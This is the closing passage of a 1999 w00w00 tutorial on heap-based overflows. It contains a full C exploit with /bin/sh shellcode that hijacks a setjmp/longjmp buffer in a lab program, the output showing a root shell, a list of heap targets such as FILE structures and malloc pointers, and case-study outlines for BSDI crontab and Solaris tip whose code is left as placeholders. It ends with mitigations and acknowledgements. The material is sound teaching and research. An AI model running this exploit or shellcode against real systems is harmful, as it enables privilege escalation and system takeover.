  815.  The reason we have the vulnerable program output its stack pointer (esp
  816.  on x86) is that it makes "guessing" easier for the novice.
  817.  
  818.  And now the exploit for it (you should be able to follow it):
  819.  -----------------------------------------------------------------------------
  820.    /*
  821.     * Copyright (C) January 1999, Matt Conover & WSD
  822.     *
  823.     * Demonstrates a method of overwriting jmpbuf's (setjmp/longjmp)
  824.     * to emulate a stack-based overflow in the heap.  By that I mean,
  825.     * you would overflow the sp/pc of the jmpbuf.  When longjmp() is
  826.     * called, it will execute the next instruction at that address.
  827.     * Therefore, we can stick shellcode at this address (as the data/heap
  828.     * section on most systems is executable), and it will be executed.
  829.     *
  830.     * This takes two arguments (offsets):
  831.     *   arg 1 - stack offset (should be about 25-45).
  832.     *   arg 2 - argv offset (should be about 310-330).
  833.     */
  834.  
  835.    #include <stdio.h>
  836.    #include <stdlib.h>
  837.    #include <unistd.h>
  838.    #include <string.h>
  839.  
  840.    #define ERROR -1
  841.    #define BUFSIZE 16
  842.  
  843.    #define VULPROG "./vulprog4"
  844.  
  845.    char shellcode[] = /* just aleph1's old shellcode (linux x86) */
  846.       "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0"
  847.       "\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8"
  848.       "\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";
  849.  
  850.    u_long getesp()
  851.    {
  852.       __asm__("movl %esp,%eax"); /* the return value goes in %eax */
  853.    }
  854.  
  855.    int main(int argc, char **argv)
  856.    {
  857.       int stackaddr, argvaddr;
  858.       register int index, i, j;
  859.  
  860.       char buf[BUFSIZE + 24 + 1];
  861.  
  862.       if (argc <= 1)
  863.       {
  864.          fprintf(stderr, "Usage: %s <stack offset> <argv offset>\n",
  865.                  argv[0]);
  866.  
  867.          fprintf(stderr, "[stack offset = offset to stack of vulprog\n");
  868.          fprintf(stderr, "[argv offset = offset to argv[2]]\n");
  869.  
  870.          exit(ERROR);
  871.       }
  872.  
  873.       stackaddr = getesp() - atoi(argv[1]);
  874.       argvaddr = getesp() + atoi(argv[2]);
  875.  
  876.       printf("trying address 0x%lx for argv[2]\n", argvaddr);
  877.       printf("trying address 0x%lx for sp\n\n", stackaddr);
  878.  
  879.       /*
  880.        * The second memset() is needed, because otherwise some values
  881.        * will be (null) and the longjmp() won't do our shellcode.
  882.        */
  883.  
  884.       memset(buf, 'A', BUFSIZE), memset(buf + BUFSIZE + 4, 0x1, 12);
  885.       buf[BUFSIZE+24] = '\0';
  886.  
  887.       /* ------------------------------------- */
  888.  
  889.       /*
  890.        * We need the stack pointer, because to set pc to our shellcode
  891.        * address, we have to overwrite the stack pointer for jmpbuf.
  892.        * Therefore, we'll rewrite it with the real address again.
  893.        */
  894.  
  895.       /* reverse byte order (on a little endian system) (ntohl equiv) */
  896.       for (i = 0; i < sizeof(u_long); i++) /* setup BP */
  897.       {
  898.          index = BUFSIZE + 16 + i;
  899.          buf[index] = (stackaddr >> (i * 8)) & 255;
  900.       }
  901.  
  902.       /* ----------------------------- */
  903.  
  904.       /* reverse byte order (on a little endian system) (ntohl equiv) */
  905.       for (i = 0; i < sizeof(u_long); i++) /* setup SP */
  906.       {
  907.          index = BUFSIZE + 20 + i;
  908.          buf[index] = (stackaddr >> (i * 8)) & 255;
  909.       }
  910.  
  911.       /* ----------------------------- */
  912.  
  913.       /* reverse byte order (on a little endian system) (ntohl equiv) */
  914.       for (i = 0; i < sizeof(u_long); i++) /* setup PC */
  915.       {
  916.          index = BUFSIZE + 24 + i;
  917.          buf[index] = (argvaddr >> (i * 8)) & 255;
  918.       }
  919.  
  920.       execl(VULPROG, VULPROG, buf, shellcode, NULL);
  921.       return 0;
  922.    }
  923.  -----------------------------------------------------------------------------
  924.  
  925.  Ouch, that was sloppy.  But anyway, when we run this with a stack offset
  926.  of 36 and a argv[2] offset of 322, we get the following:
  927.    [root /w00w00/heap/examples/vulpkgs/vulpkg4]# ./exploit4 36 322
  928.    trying address 0xbffffcf6 for argv[2]
  929.    trying address 0xbffffb90 for sp
  930.  
  931.    [vulprog] argv[2] = 0xbffffcf6
  932.    [vulprog] sp = 0xbffffb90
  933.  
  934.    before:
  935.    bx = 0x0, si = 0x40001fb0, di = 0x4000000f
  936.    bp = 0xbffffb98, sp = 0xbffffb94, pc = 0x8048715
  937.  
  938.    after:
  939.    bx = 0x1010101, si = 0x1010101, di = 0x1010101
  940.    bp = 0xbffffb90, sp = 0xbffffb90, pc = 0xbffffcf6
  941.  
  942.    bash#
  943.  
  944.  w00w00!  For those of you that are saying, "Okay.  I see this works in a
  945.  controlled environment; but what about in the wild?"  There is sensitive
  946.  data on the heap that can be overflowed.  Examples include:
  947.       functions                       reason
  948.    1. *gets()/*printf(), *scanf()     __iob (FILE) structure in heap
  949.    2. popen()                         __iob (FILE) structure in heap
  950.    3. *dir() (readdir, seekdir, ...)  DIR entries (dir/heap buffers)
  951.    4. atexit()                        static/global function pointers
  952.    5. strdup()                        allocates dynamic data in the heap
  953.    7. getenv()                        stored data on heap
  954.    8. tmpnam()                        stored data on heap
  955.    9. malloc()                        chain pointers
  956.    10. rpc callback functions         function pointers
  957.    11. windows callback functions     func pointers kept on heap
  958.    12. signal handler pointers        function pointers (note: unix tracks
  959.        in cygnus (gcc for win),       these in the kernel, not in the heap)
  960.  
  961.  Now, you can definitely see some uses these functions.  Room allocated
  962.  for FILE structures in functions such as printf()'s, fget()'s,
  963.  readdir()'s, seekdir()'s, etc. can be manipulated (buffer or function
  964.  pointers).  atexit() has function pointers that will be called when the
  965.  program terminates.  strdup() can store strings (such as filenames or
  966.  passwords) on the heap.  malloc()'s own chain pointers (inside its pool)
  967.  can be manipulated to access memory it wasn't meant to be.  getenv()
  968.  stores data on the heap, which would allow us modify something such as
  969.  $HOME after it's initially checked.  svc/rpc registration functions  
  970.  (librpc, libnsl, etc.) keep callback functions stored on the heap.
  971.  
  972.  We will demonstrate overwriting Windows callback functions and 
  973.  overwriting FILE (__iob) structures (with popen).
  974.  
  975.  Once you know how to overwrite FILE sturctures with popen(), you can
  976.  quickly figure out how to do it with other functions (i.e., *printf,
  977.  *gets, *scanf, etc.), as well as DIR structures (because they are
  978.  similar.
  979.  
  980.  Now for some case studies!  Our two "real world" vulnerabilities will be
  981.  Solaris' tip and BSDI's crontab.  The BSDI crontab vulnerability
  982.  was discovered by mudge of L0pht (see L0pht 1996 Advisory Page).  We're
  983.  reusing it because it's a textbook example of a heap-based overflow
  984.  (though we will use our own method of exploitation).
  985.  
  986.  Our first case study will be the BSDI crontab heap-based overflow.  We
  987.  can pass a long filename, which will overflow a static buffer.  Above
  988.  that buffer in memory, we have a pwd (see pwd.h) structure!  This stores
  989.  a user's user name, password, uid, gid, etc.  By overwriting the uid/gid
  990.  field of the pwd, we can modify the privileges that crond will run our
  991.  crontab with (as soon as it tries to run our crontab).  This script could
  992.  then put out a suid root shell, because our script will be running with
  993.  uid/gid 0.
  994.  
  995.  Here is our exploit code:
  996.  -----------------------------------------------------------------------------
  997.  -----------------------------------------------------------------------------
  998.  
  999.  When we run it on a BSDI X.X machine, we get the following:
  1000.    [Put exploit output here]
  1001.  
  1002.  'tip' is run suid uucp on Solaris. It is possible to get root once uucp 
  1003.  privileges are gained (but, that's outside the scope of this article).
  1004.  Tip will overflow a static buffer when prompting for a file to 
  1005.  send/receive.  Above the static buffer in memory is a jmp_buf.  By
  1006.  overwriting the static buffer and then causing a SIGINT, we can get
  1007.  shellcode executed (by storing it in argv[]).  To exploit successfully,
  1008.  we need to either connect to a valid system, or create a "fake device" 
  1009.  with which tip will connect to.
  1010.  
  1011.  Here is our tip exploit:
  1012.  -----------------------------------------------------------------------------
  1013.  -----------------------------------------------------------------------------
  1014.  
  1015.  When we run it on a Solaris 2.7 machine, we get the following:
  1016.    [Put exploit output here]
  1017.  
  1018. Possible Fixes (Workarounds)
  1019. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  1020.  Obviously, the best prevention for heap-based overflows is writing good
  1021.  code!  Similar to stack-based overflows, there is no real way of
  1022.  preventing heap-based overflows. 
  1023.  
  1024.  We can get a copy of the bounds checking gcc/egcs (which should locate
  1025.  most potential heap-based overflows) developed by Richard Jones and Paul
  1026.  Kelly.  This program can be downloaded from Richard Jone's homepage 
  1027.  at http://www.annexia.demon.co.uk.  It detects overruns that might be
  1028.  missed by human error.  One example they use is: "int array[10]; for (i =
  1029.  0; i <= 10; i++) array[i] = 1".  I have never used it.
  1030.  
  1031.  Note:
  1032.    For Windows, one could use NuMega's bounds checker which essentially
  1033.    performs the same as the bounds checking gcc.
  1034.  
  1035.  We can always make a non-executable heap patch (as mentioned early, most
  1036.  systems have an executable heap).  During a conversation I had with Solar
  1037.  Designer, he mentioned the main problems with a non-executable would
  1038.  involve compilers, interpreters, etc.
  1039.  
  1040.  Note:
  1041.    I added a note section here to reiterate the point a non-executable
  1042.    heap does NOT prevent heap overflows at all.  It means we can't execute
  1043.    instructions in the heap.  It does NOT prevent us from overwriting data
  1044.    in the heap.
  1045.  
  1046.  Likewise, another possibility is to make a "HeapGuard", which would be
  1047.  the equivalent to Cowan's StackGuard mentioned earlier.  He (et. al.) 
  1048.  also developed something called "MemGuard", but it's a misnomer.
  1049.  Its function is to prevent a return address (on the stack) from being
  1050.  overwritten (via canary values) on the stack.  It does nothing to prevent
  1051.  overflows in the heap or bss.
  1052.  
  1053.  
  1054. Acknowledgements
  1055. ~~~~~~~~~~~~~~~~
  1056.  There has been a significant amount of work on heap-based overflows in
  1057.  the past.  We ought to name some other people who have published work
  1058.  involving heap/bss-based overflows (though, our work wasn't based off
  1059.  them).
  1060.  
  1061.  Solar Designer: SuperProbe exploit (function pointers), color_xterm
  1062.  exploit (struct pointers), WebSite (pointer arrays), etc.
  1063.   
  1064.  L0pht: Internet Explorer 4.01 vulnerablity (dildog), BSDI crontab
  1065.  exploit (mudge), etc. 
  1066.  
  1067.  Some others who have published exploits for heap-based overflows (thanks
  1068.  to stranJer for pointing them out) are Joe Zbiciak (solaris ps) and Adam
  1069.  Morrison (stdioflow).  I'm sure there are many others, and I apologize for
  1070.  excluding anyone.
  1071.  
  1072.  I'd also like to thank the following people who had some direct
  1073.  involvement in this article: str (stranJer), halflife, and jobe.
  1074.  Indirect involvements: Solar Designer, mudge, and other w00w00
  1075.  affiliates.
  1076.  
  1077.  Other good sources of info include: as/gcc/ld info files (/usr/info/*),
  1078.  BugTraq archives (http://www.geek-girl.com/bugtraq), w00w00 
  1079.  (http://www.w00w00.org), and L0pht (http://www.l0pht.com), etc.
  1080.  
  1081. Epilogue:
  1082.   Most people who claim their systems are "secure" are saying so out of
  1083.   a lack of knowledge (ignorant seemed a little too strong).  Assuming
  1084.   security leads to a false sense of security (e.g., azrael.phrack.com,
  1085.   has remote vulnerabilities involving heap-based overflows that have gone
  1086.   unnoticed for quite a while).  Hopefully, people will experiment with
  1087.   heap-based overflows, and in turn, will become more aware that the
  1088.   problems exist.  We need to realize that the problems are out there,
  1089.   waiting to be fixed.
  1090.  
  1091. Thanks for reading!  We hope you've enjoyed it!  You can e-mail me at
  1092. shok@dataforce.net, or mattc@repsec.com.  See the w00w00 (www.w00w00.org)
  1093. web site, also!
  1094.  
  1095. ------------------------------------------------------------------------------
  1096. Matt Conover (a.k.a. Shok) & w00w00 Security Team
  1097.  
  1098. [ http://www.w00w00.org, w00w00 Security Development (WSD)  ]
  1099. [ See the URL above for information on: what w00w00 is, our ]
  1100. [ security projects (all available online), some of our     ]
  1101. [ articles, and more.  Enjoy! ]
  1102.